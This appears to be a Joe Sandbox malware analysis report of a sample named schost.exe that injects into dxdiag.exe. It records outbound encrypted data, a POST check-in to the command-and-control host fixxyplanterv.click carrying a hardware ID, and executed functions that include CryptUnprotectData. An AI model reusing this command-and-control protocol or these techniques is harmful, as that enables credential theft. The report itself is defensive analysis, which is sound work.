2024-12-23 06:33:24 UTC	15331	OUT	Data Raw: ff b4 8b 38 02 0c 9b c2 21 ec 28 2e 6a 72 c4 47 eb f9 c7 b1 78 97 3b 81 df 8e 3c 5a da ca f4 32 de 27 b2 e1 e5 28 a0 50 dd f3 d2 1b 53 34 7c 19 87 47 7c ff 9d 8e 1d 2b 5e 30 27 f1 7f dd 6c 47 d4 01 69 a7 2a a3 9b d9 e6 a9 be 4f 1c 5c f9 27 75 47 ac 33 0f a2 48 10 26 94 f6 d8 23 c7 e6 6b 21 30 fb 2c 14 22 ca 65 29 43 8e c2 bd 27 39 5a e7 d2 b8 f7 7a d0 31 7d 78 97 8b c4 40 de fb 91 16 6d 9b 9a b5 a2 59 1e 72 25 6b 9a 99 23 d4 29 1a ee 22 59 1c 51 7d 04 58 8c 66 6a a0 be 63 7b ff d2 86 2b 1a ae e2 20 b5 06 6c ec d5 c8 72 c8 da d1 5e 02 f0 d4 38 41 c4 a1 10 3c ab d8 39 3b 4b 64 92 75 78 f0 fb 15 4a e5 ae db 4a cc 91 09 96 a5 58 16 36 ec e7 af 56 ff df 05 be cc c3 cc 92 e2 63 c2 0b 97 63 32 75 30 c6 e7 c9 be bc b3 32 71 86 e2 58 8e 34 f4 7a 24 6e b6 38 46 5c Data Ascii: 8!(.jrGx;<Z2'(PS4\|G\|+^0'lGi*O\'uG3H&#k!0,"e)C'9Zz1}x@mYr%k#)"YQ}Xfjc{+ lr^8A<9;KduxJJX6Vcc2u02qX4z$n8F\
2024-12-23 06:33:24 UTC	15331	OUT	Data Raw: f3 17 0d 6c 7a b3 8b 3b da d1 6d 7f 0c 05 83 c0 23 28 c3 61 6f e9 a5 62 b9 94 11 97 53 9b d2 08 cf 65 e7 4c e3 26 f4 29 44 68 24 d6 0b a9 4e 5d cd 4e dd f5 06 03 5c ce af cb b1 e2 9d f1 f2 c1 df 7d 61 6d 7c 71 d2 37 df a1 fc 6b 53 19 2c bd 1d 7b 59 44 46 13 ba 49 56 11 c1 54 ec 35 48 d8 a8 e2 10 ee e5 98 ee ef 1f 89 a2 28 8c de 5a 25 57 1e e7 e8 d5 57 73 53 fe 01 3d 8a 90 86 d1 31 ad 95 ea 65 0f 6b 4b 9c 98 c8 b0 fa 94 10 ce ed e3 4f 2e b0 2a 1d 9c 3a 92 7b 24 34 f9 c8 c9 f3 ff 4e 9b b1 48 eb a2 3b ec 88 92 6f 6c b1 6d b3 72 51 2b 3d a7 a1 8c 6c 9f c4 9d 17 97 a6 0d 47 3f d9 41 9f 79 9e c0 67 b1 60 5e b8 2f fd 1c d0 5a 38 40 2c 41 20 8e f2 6e ca f6 5f 49 1b c0 02 72 38 74 8e 0f 94 5b b9 ff f2 76 3f f9 04 74 1e e1 c4 d8 a4 45 e4 9f ba e5 41 74 6a 70 f4 cb Data Ascii: lz;m#(aobSeL&)Dh$N]N\}am\|q7kS,{YDFIVT5H(Z%WWsS=1ekKO.*:{$4NH;olmrQ+=lG?Ayg`^/Z8@,A n_Ir8t[v?tEAtjp
2024-12-23 06:33:24 UTC	15331	OUT	Data Raw: 86 a8 0e fd c8 1f ef 7c b7 2e 6b cb 4f 54 9b 13 34 05 80 04 56 2a d5 3d 4f 8d b0 a0 a7 67 84 3e 7a b7 41 7f e8 c4 80 6f fa 93 d6 ee cf 0f f3 cd 04 79 b7 e6 ed 3f 19 51 ff 77 4b 4c 10 84 f8 2c 2e a2 81 36 fe 0a 0e bc 45 17 0a a0 86 c9 64 c9 7f 82 d3 b4 7d 12 37 8f d5 58 1a f3 fb ea 20 18 30 e0 04 39 47 96 da 8b a2 07 38 14 2a 0d 73 25 0f f7 4b 8d b8 c6 63 47 54 e9 02 18 6d 96 67 34 35 18 e0 d7 1f b3 c6 56 00 9f 8a f9 e0 71 91 37 5b 71 fb a6 ad d0 bc 76 3e 7c 66 ce 54 cd 89 53 9b cf 2a 52 8d 79 05 c7 c4 ef 41 b0 51 b7 fe fa 15 07 09 d4 f5 84 09 08 dc 20 e0 1a 70 f5 ca 51 21 bb a9 fc 00 c2 41 2b c4 bd a1 3b b9 76 ad 39 b3 64 17 1b 53 a7 11 ec 65 4b bc 07 e6 35 3a 89 90 74 b0 c6 18 9d b4 89 28 c0 6d 9f cd 49 a0 0b 08 fc 9a b2 29 b4 b1 b5 0d cc dc 1b 5b fe c5 Data Ascii: \|.kOT4V=Og>zAoy?QwKL,.6Ed}7X 09G8s%KcGTmg45Vq7[qv>\|fTS*RyAQ pQ!A+;v9dSeK5:t(mI)[
2024-12-23 06:33:24 UTC	15331	OUT	Data Raw: 2f 6f 4a 4e 98 5a 7e 8a e6 df e0 f3 21 a0 6b af a3 09 67 f8 af 49 0a 3a ce eb d3 04 be da ff df 4b 6f ac e3 f4 4e 66 42 7c 4c 62 d9 4e 43 5e e6 5d 35 2f 41 c4 1b b3 e8 b1 c6 44 c0 b0 3b 0a f2 0f cf a8 40 f9 bf cc 98 ee 0e c3 17 af 7e 11 ad dc 79 b3 98 ad 81 80 c8 2f ae a9 a7 bd 59 57 f3 c3 19 09 f9 4b 35 13 2e 53 f0 44 6d 13 a9 02 ad 2e 60 d9 ba 23 f4 28 0c c3 d4 a0 18 b5 42 53 9c b7 fb f5 e5 22 95 94 09 00 3b 39 7a c7 f9 1b 43 be b3 03 3d 3d a4 0f b8 ce 1f 18 ad 09 ef b9 2d e0 18 b4 f0 6a de 5e 85 d8 42 cf f2 18 ac 94 1b 2c b9 eb 92 2f b6 30 10 26 15 e9 dd ac dc 31 b6 54 ac 4d 8f a2 d6 cd 7a e4 85 20 dc 0b 18 fb 73 7d ec 15 61 10 e2 3d 37 2b 0f 87 f9 41 af 35 93 26 3e ec 49 81 45 1d 3f 51 25 59 b3 7d 15 dc f7 92 41 4e bb c9 36 2c 8f 11 68 fd b9 a6 0b c5 Data Ascii: /oJNZ~!kgI:KoNfB\|LbNC^]5/AD;@~y/YWK5.SDm.`#(BS";9zC==-j^B,/0&1TMz s}a=7+A5&>IE?Q%Y}AN6,h
2024-12-23 06:33:27 UTC	1137	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 06:33:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=eogv7k5kovvbgvp6ppvp8c3orj; expires=Fri, 18 Apr 2025 00:20:05 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3mpD9MC%2BYJ8U%2BJNNOE8byWXayMwng3lSftzLnf%2FE05478VVOsWKWhjyPmyqiwcLZs%2F6w9NKxPAzyixxW0HFKcObyr7sXXS1ZsBveozRVEoGLtXEAWX0739z8g6n%2FDIlGb1TiiK0F"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f6651e98a29440d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1784&min_rtt=1726&rtt_var=689&sent=349&recv=572&lost=0&retrans=0&sent_bytes=2848&recv_bytes=552108&delivery_rate=1691772&cwnd=177&unsent_bytes=0&cid=dd8dbbae90234ad7&ts=2532&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49742	104.21.6.116	443	7348	C:\Windows\SysWOW64\dxdiag.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 06:33:28 UTC	267	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 80 Host: fixxyplanterv.click
2024-12-23 06:33:28 UTC	80	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 5a 71 63 68 4f 61 2d 2d 6e 65 77 26 6a 3d 26 68 77 69 64 3d 31 46 46 43 32 41 30 33 44 35 33 39 34 31 38 36 35 45 43 36 34 36 38 43 35 43 39 36 33 32 34 39 Data Ascii: act=get_message&ver=4.0&lid=ZqchOa--new&j=&hwid=1FFC2A03D53941865EC6468C5C963249
2024-12-23 06:33:29 UTC	1135	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 06:33:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=rkin3ke39onac19d3oq52tsner; expires=Fri, 18 Apr 2025 00:20:07 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6DogDGFCmNO0pbD43K9ELW0dFWgB6%2BKxmr3jprc6eRpgwzKZ%2FWZ99TYjx9If%2Bs%2BQRxlbS%2F4a6HHz8GMCFyn%2BzoQ%2FD7YTevFZXJkgaK2zDDxe%2FjoAuf0AwStNyVARDZi9FYbcQgcg"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f665201bf25c358-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1444&min_rtt=1424&rtt_var=574&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2848&recv_bytes=983&delivery_rate=1839949&cwnd=155&unsent_bytes=0&cid=bda9dbd928d835aa&ts=780&x=0"
2024-12-23 06:33:29 UTC	54	IN	Data Raw: 33 30 0d 0a 75 75 2b 4a 71 62 6f 6c 61 5a 48 61 55 30 42 43 66 5a 51 51 68 63 4f 51 67 34 57 35 4c 72 59 76 47 39 47 73 57 31 6a 6e 6f 70 62 68 73 67 3d 3d 0d 0a Data Ascii: 30uu+JqbolaZHaU0BCfZQQhcOQg4W5LrYvG9GsW1jnopbhsg==
2024-12-23 06:33:29 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	01:33:07
Start date:	23/12/2024
Path:	C:\Users\user\Desktop\schost.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\schost.exe"
Imagebase:	0x7ff7b0b30000
File size:	13'084'160 bytes
MD5 hash:	4D82074854750FDBA89D76624CC1E6F6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	01:33:07
Start date:	23/12/2024
Path:	C:\Windows\SysWOW64\dxdiag.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\SysWOW64\dxdiag.exe"
Imagebase:	0xe40000
File size:	222'720 bytes
MD5 hash:	24D3F0DB6CCF0C341EA4F6B206DF2EDF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	01:33:08
Start date:	23/12/2024
Path:	C:\Windows\SysWOW64\dxdiag.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\SysWOW64\dxdiag.exe"
Imagebase:	0xe40000
File size:	222'720 bytes
MD5 hash:	24D3F0DB6CCF0C341EA4F6B206DF2EDF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	01:33:08
Start date:	23/12/2024
Path:	C:\Windows\SysWOW64\dxdiag.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWOW64\dxdiag.exe"
Imagebase:	0xe40000
File size:	222'720 bytes
MD5 hash:	24D3F0DB6CCF0C341EA4F6B206DF2EDF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Function 00007FF7B0C05D6C Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF7B0C05D98
GetCurrentThreadId.KERNEL32 ref: 00007FF7B0C05DA6
GetCurrentProcessId.KERNEL32 ref: 00007FF7B0C05DB2
QueryPerformanceCounter.KERNEL32 ref: 00007FF7B0C05DC2

Memory Dump Source

Source File: 00000000.00000002.1713705623.00007FF7B0B31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B0B30000, based on PE: true

Associated: 00000000.00000002.1713692046.00007FF7B0B30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713776511.00007FF7B0C1D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714416782.00007FF7B161C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714552996.00007FF7B175C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714609878.00007FF7B1761000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714651565.00007FF7B1767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b0b30000_schost.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: b3714b1e3f62d450d5574a026c88cc5e2d9c1db1de04dfe777e3adf5dec47836
Instruction ID: 43c1d83be9942f213186644c4e043a15012ef4bd7ddde2948c83bbba19b24283
Opcode Fuzzy Hash: b3714b1e3f62d450d5574a026c88cc5e2d9c1db1de04dfe777e3adf5dec47836
Instruction Fuzzy Hash: 70114F22B14B018AEB009B64E8552A973A4F76A75CF441E31DB6D82768DF7CD1A58350

Analysis Process: dxdiag.exePID: 7348, Parent PID: 7316COMMON

Execution Graph

Execution Coverage:	8.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	68.2%
Total number of Nodes:	302
Total number of Limit Nodes:	7

Executed Functions

Function 00435870 Relevance: 26.9, APIs: 11, Strings: 4, Instructions: 661
memorycomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoCreateInstance.OLE32(0043F68C,00000000,00000001,0043F67C,00000000), ref: 00435B0F
SysAllocString.OLEAUT32(0000D588), ref: 00435B91
CoSetProxyBlanket.COMBASE(?,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 00435BCF
SysAllocString.OLEAUT32(s%w'), ref: 00435C56
SysAllocString.OLEAUT32(s%w'), ref: 00435CF1
VariantInit.OLEAUT32(83828188), ref: 00435D64

Strings

d)*+, xrefs: 00435BE8
/#$%, xrefs: 00435919, 004359B5
PQ, xrefs: 00435D9E
s%w', xrefs: 00435C51, 00435C55, 00435CF0, 00435DCF

Memory Dump Source

Source File: 00000003.00000002.1918154419.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_dxdiag.jbxd

Similarity

API ID: AllocString$BlanketCreateInitInstanceProxyVariant
String ID: /#$%$PQ$d)*+$s%w'
API String ID: 65563702-3008678497
Opcode ID: 7415687139be6af64604c01401749847364b03682915530e4ff1219a9867d2af
Instruction ID: 5414f25a513856cf292a94d973b8fe981ab4f01926d2cca0fa1231f3848f9231
Opcode Fuzzy Hash: 7415687139be6af64604c01401749847364b03682915530e4ff1219a9867d2af
Instruction Fuzzy Hash: 50220E71A087009BD710DF29C881B6BBBE5EFC9710F14892EF4959B391D738D90ACB86

Function 0040E458 Relevance: 14.2, APIs: 2, Strings: 7, Instructions: 651
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoUninitialize.OLE32 ref: 0040E45F
CoUninitialize.COMBASE ref: 0040E7DC

Strings

qy, xrefs: 0040EA84
vol,, xrefs: 0040E8C1
[^Q$, xrefs: 0040E8CF
Qv, xrefs: 0040EA6F
yp, xrefs: 0040EA76
fixxyplanterv.click, xrefs: 0040E7C5, 0040EB48
2t, xrefs: 0040EA7D

Memory Dump Source

Source File: 00000003.00000002.1918154419.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_dxdiag.jbxd

Similarity

API ID: Uninitialize
String ID: 2t$Qv$[^Q$$fixxyplanterv.click$qy$vol,$yp
API String ID: 3861434553-2046213541
Opcode ID: fceb5d04364534c2d7f3e13c311d28cf7798b8fad78054c5397cc8bfe06279b1
Instruction ID: 4db51f1f72c5905ee0b1b22d732d3a9d787199a41c6fab9545acfa54408a17bb
Opcode Fuzzy Hash: fceb5d04364534c2d7f3e13c311d28cf7798b8fad78054c5397cc8bfe06279b1
Instruction Fuzzy Hash: E9120CB56047818FD325CF36C590622BFA2FF96304B1989ADC4D25FB92C739B816CB94

Function 0040CDD7 Relevance: 10.3, Strings: 8, Instructions: 291
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Z&\, xrefs: 0040D016
RT, xrefs: 0040D024
AVUF, xrefs: 0040CEC9
nx}v, xrefs: 0040CEBB
fixxyplanterv.click, xrefs: 0040D0F2
VD}N, xrefs: 0040CEC2
9n`, xrefs: 0040CFC9
1FFC2A03D53941865EC6468C5C963249, xrefs: 0040CE31

Memory Dump Source

Source File: 00000003.00000002.1918154419.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID: 1FFC2A03D53941865EC6468C5C963249$9n`$AVUF$VD}N$fixxyplanterv.click$nx}v$RT$Z&\
API String ID: 0-2416837661
Opcode ID: 0ace5b6c8ecb4935f6ce6248a84e79c11aceaef049d8069478d5b93df471d7c2
Instruction ID: d82674ca07e07c92295c7b8026b48e690f7d2c28deac3183c156c38ed5531bfa
Opcode Fuzzy Hash: 0ace5b6c8ecb4935f6ce6248a84e79c11aceaef049d8069478d5b93df471d7c2
Instruction Fuzzy Hash: 359136B0204B82DFD315CF2AC490262FFA2FF56304B28866DC4965BB95C779B816CF94

Function 004227B0 Relevance: 9.3, APIs: 1, Strings: 4, Instructions: 529
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

|~, xrefs: 00422A9E
=>, xrefs: 0042281C
4)B, xrefs: 00422D2B, 00422E03
&*Jk, xrefs: 00422827

Memory Dump Source

Source File: 00000003.00000002.1918154419.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID: &*Jk$4)B$=>$|~
API String ID: 0-1009457168
Opcode ID: 6dff639c457a5e1b723c2f4fe0a185f0f85ad1e2a079d6f1e4c09787d9b02a4e
Instruction ID: 152786c77f951dd3dbca6d6113f2fe09001a096b4f0132f05b015a8fe36a5df1
Opcode Fuzzy Hash: 6dff639c457a5e1b723c2f4fe0a185f0f85ad1e2a079d6f1e4c09787d9b02a4e
Instruction Fuzzy Hash: 74F164B4A00215DFCB10CF68D9826ABBBB1FF85310F18826DD845AF355D378E942CB99

Function 00420B10 Relevance: 8.0, Strings: 6, Instructions: 515
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

b, xrefs: 004210FD
\, xrefs: 00420D0C
^, xrefs: 00420D16
], xrefs: 00420D11
,, xrefs: 00421059
!@, xrefs: 00420B43

Memory Dump Source

Source File: 00000003.00000002.1918154419.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_dxdiag.jbxd

Similarity

API ID: AllocateHeap
String ID: !@$,$\$]$^$b
API String ID: 1279760036-3534480190
Opcode ID: 50029825359f53049b828cf9af26bfa21e532a2affc0ca8f3bb32706d71598dd
Instruction ID: ebca42ed76a8c9da250c5dc1f0308dd38997bd67e4ab243a484973a2be5f2ac8
Opcode Fuzzy Hash: 50029825359f53049b828cf9af26bfa21e532a2affc0ca8f3bb32706d71598dd
Instruction Fuzzy Hash: 7F22AE7160C3A08FD324CF28944036FBBE1AB96324F594A6EE5E5873D2D7798845CB4B

Function 00408920 Relevance: 6.1, APIs: 4, Instructions: 116
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcessId.KERNEL32 ref: 00408941
GetCurrentThreadId.KERNEL32 ref: 0040894B
GetForegroundWindow.USER32 ref: 00408A05
ExitProcess.KERNEL32 ref: 00408A85

Memory Dump Source

Source File: 00000003.00000002.1918154419.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_dxdiag.jbxd

Similarity

API ID: CurrentProcess$ExitForegroundThreadWindow
String ID:
API String ID: 3118123366-0
Opcode ID: b6802a63dc855ea8cf6a96f0c0c01603e3ca00871471397b2fb2a3d67851cf4b
Instruction ID: 0d30fea2273658e8f12e1d2f8b086a2a35bf40361b224995e2d0f0fc3bd077a4
Opcode Fuzzy Hash: b6802a63dc855ea8cf6a96f0c0c01603e3ca00871471397b2fb2a3d67851cf4b
Instruction Fuzzy Hash: E6313833A043144FD308EF799D8621AF6D6ABC8350F06953EF8C8DB391DA749C05868A

Function 0040AAE0 Relevance: 5.4, Strings: 4, Instructions: 370
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

/8=+, xrefs: 0040AF3D, 0040AF08, 0040AD45, 0040AF11
KRST, xrefs: 0040AC4B
+, xrefs: 0040AAFE
/8=+, xrefs: 0040AD9F

Memory Dump Source

Source File: 00000003.00000002.1918154419.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID: +$/8=+$/8=+$KRST
API String ID: 0-1235365206
Opcode ID: 4fa6eea03b5ea1160ce96f4ada282d6b801ef76b08be5e27514b240a772fc098
Instruction ID: 157f1745fbdc77b4c2282c5122e8992570511c6dc21cebd8a3ce22f79508730e
Opcode Fuzzy Hash: 4fa6eea03b5ea1160ce96f4ada282d6b801ef76b08be5e27514b240a772fc098
Instruction Fuzzy Hash: AEC1277264C3504BD314CF6584516ABFBE3AFD1304F18883DE4E5AB381D639891AC797

Function 00431262 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 109
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemMetrics.USER32 ref: 004312B0
GetSystemMetrics.USER32 ref: 004312BF

Strings

, xrefs: 00431393

Memory Dump Source

Source File: 00000003.00000002.1918154419.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_dxdiag.jbxd

Similarity

API ID: MetricsSystem
String ID:
API String ID: 4116985748-3916222277
Opcode ID: ed2441843b2d6ce89a690faeaea5bdcfa444fb032f0210175a3dc45da2a87aca
Instruction ID: bf2bc5d8e4d95e73b8fdb797fadfe66e5eac667f6d15a87326ad77e9f8a434e9
Opcode Fuzzy Hash: ed2441843b2d6ce89a690faeaea5bdcfa444fb032f0210175a3dc45da2a87aca
Instruction Fuzzy Hash: 665182B0D142099FDB40EFACD985A9EBBF0BB88310F114569E499E7350D734AD48CF96

Function 00415971 Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 457
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00415C24

Strings

Q, xrefs: 00415AF1

Memory Dump Source

Source File: 00000003.00000002.1918154419.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_dxdiag.jbxd

Similarity

API ID: CryptDataUnprotect
String ID: Q
API String ID: 834300711-3463352047
Opcode ID: e8c8e02fa5489a845f6c984ef1467f98ecb597ddb46adf86ef07d069ee49b4f0
Instruction ID: 334bc079e22fc92185ed06b095f9784487d9b1feb53ebf903c8272a05930d261
Opcode Fuzzy Hash: e8c8e02fa5489a845f6c984ef1467f98ecb597ddb46adf86ef07d069ee49b4f0
Instruction Fuzzy Hash: 0BE1F3B55483818FD720CF24C8917EFBBA2EFD5314F04493DE4898B252EB389985CB4A

Function 00425480 Relevance: 2.8, Strings: 2, Instructions: 315COMMON

Download Yara Rule

Strings

&#$, xrefs: 00425520
}ji~, xrefs: 0042574C

Memory Dump Source

Source File: 00000003.00000002.1918154419.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_dxdiag.jbxd

Similarity

API ID: InitializeThunk
String ID: &#$$}ji~
API String ID: 2994545307-3214320781
Opcode ID: 5931b0502365ebbec1996e2a82422ef558332029e6c540395b09d36738237def
Instruction ID: 7a21dba1f6b4e75eed38616ab3744ad9dd1eab9b40c1e5948c0a189561833efb
Opcode Fuzzy Hash: 5931b0502365ebbec1996e2a82422ef558332029e6c540395b09d36738237def
Instruction Fuzzy Hash: C3914B76B047105BD7149E24ECC2B7B73A2EBC1318F98843EE94687396E67C9C05D399

Function 00439E40 Relevance: 1.5, APIs: 1, Instructions: 14libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(0043C1EB,005C003F,0000002C,?,?,00000018,?,00000000,?,?,?,?,00000000,00000000), ref: 00439E6E

Memory Dump Source

Source File: 00000003.00000002.1918154419.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_dxdiag.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 428b37146f2ab8bbef251fdb989594d24ae2c5b49c4db8728953df82dacde34d
Instruction ID: 0c3231226d6b2b3a527619dcc08e6164a4fafcc19f94aab6dc14dc2c5ea58878
Opcode Fuzzy Hash: 428b37146f2ab8bbef251fdb989594d24ae2c5b49c4db8728953df82dacde34d
Instruction Fuzzy Hash: A2E0FE75908316AF9A08CF45C14444EFBE5BFC4714F11CC8DA4D863210D3B0AD46DF82

Function 00438640 Relevance: 1.5, Strings: 1, Instructions: 240COMMON

Download Yara Rule

Strings

/J x, xrefs: 004386CF

Memory Dump Source

Source File: 00000003.00000002.1918154419.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_dxdiag.jbxd

Similarity

API ID: InitializeThunk
String ID: /J x
API String ID: 2994545307-1866642894
Opcode ID: f30544c505241ad8f6770229db064c02dd71acb82eae6ebeaea714bf93423867
Instruction ID: 874112095a5efa33bfbcb898a975de2e52caa01511d8d9f4d2bd4c75d1d74cee
Opcode Fuzzy Hash: f30544c505241ad8f6770229db064c02dd71acb82eae6ebeaea714bf93423867
Instruction Fuzzy Hash: 55518A71A043008FE724EE299C8166BF7A2EBC9714F299A3EE58457381DE389C018799

Function 0043C8F0 Relevance: 1.3, Strings: 1, Instructions: 98COMMON

Download Yara Rule

Strings

@, xrefs: 0043C959

Memory Dump Source

Source File: 00000003.00000002.1918154419.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_dxdiag.jbxd

Similarity

API ID: InitializeThunk
String ID: @
API String ID: 2994545307-2766056989
Opcode ID: 0a54cfb0382d90671bf8a8549960c687a3425552f5adc6159ffc4faefce21d6a
Instruction ID: a35a6d60c968e134acf55cef92dc51cc7359e84a70f9638e84e2e7fd5f809bf1
Opcode Fuzzy Hash: 0a54cfb0382d90671bf8a8549960c687a3425552f5adc6159ffc4faefce21d6a
Instruction Fuzzy Hash: D53102B15083048BD314EF14C8C16AFF7F5EF9A320F15A92EE99557390D3799848CB9A

Function 0043D400 Relevance: .3, Instructions: 336COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1918154419.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_dxdiag.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 5ce9da3ec3eabb230dc047e1443a7ed10ff4abf91167f9ef0f8a3aa1cfdc4362
Instruction ID: 9a74d657e93f8d3f5cf240051ad191b629485e22a32f0a110a3d4ded04f7e6bd
Opcode Fuzzy Hash: 5ce9da3ec3eabb230dc047e1443a7ed10ff4abf91167f9ef0f8a3aa1cfdc4362
Instruction Fuzzy Hash: 4FA12532A083114BD314CE28D89156BBBE2EBDA314F29EA3EE9A597351D738DC05C785

Function 0043CA10 Relevance: .3, Instructions: 264COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1918154419.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

